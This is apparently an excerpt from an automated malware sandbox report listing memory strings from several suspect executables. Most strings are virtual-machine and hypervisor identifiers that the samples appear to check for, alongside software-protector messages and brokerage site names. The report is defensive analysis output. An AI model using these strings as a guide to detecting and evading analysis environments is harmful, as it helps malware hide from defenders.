Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: 659e6df34d.exe, 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwarep%
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000019.00000002.3431730044.00000000025F3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}|r
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Hyper-V (guest)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000996000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000996000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: ~VirtualMachineTypes
Source: firefox.exe, 0000001E.00000002.2812722638.0000025DAF240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWy^{
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000996000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000996000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000996000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000996000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: RoamingKJEGDBKFIJ.exe, 00000006.00000002.2373119176.0000000000C76000.00000040.00000001.01000000.00000009.sdmp, userIJKFHIIEHI.exe, 00000009.00000002.2424291604.0000000000769000.00000040.00000001.01000000.0000000A.sdmp, explorti.exe, 0000000D.00000002.2432417132.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, explorti.exe, 0000000E.00000002.3390822561.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000F.00000002.2449285864.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000001F.00000002.3390670231.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000E.00000002.3406205862.000000000165A000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2479176591.00000000025BD000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.000000000272C000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.00000000026FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2812722638.0000025DAF240000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 0000001F.00000002.3405200115.0000000001464000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: firefox.exe, 0000001C.00000002.2743683030.0000025B438C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2812166665.0000025DAEE17000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: 659e6df34d.exe, 00000010.00000002.2479176591.0000000002589000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX?\
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: 659e6df34d.exe, 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: 659e6df34d.exe, 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwareR
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: RoamingKJEGDBKFIJ.exe, 00000006.00000003.2346807521.0000000001530000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: xVBoxService.exe
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: firefox.exe, 0000001E.00000002.2812722638.0000025DAF240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: VBoxService.exe
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: VMWare
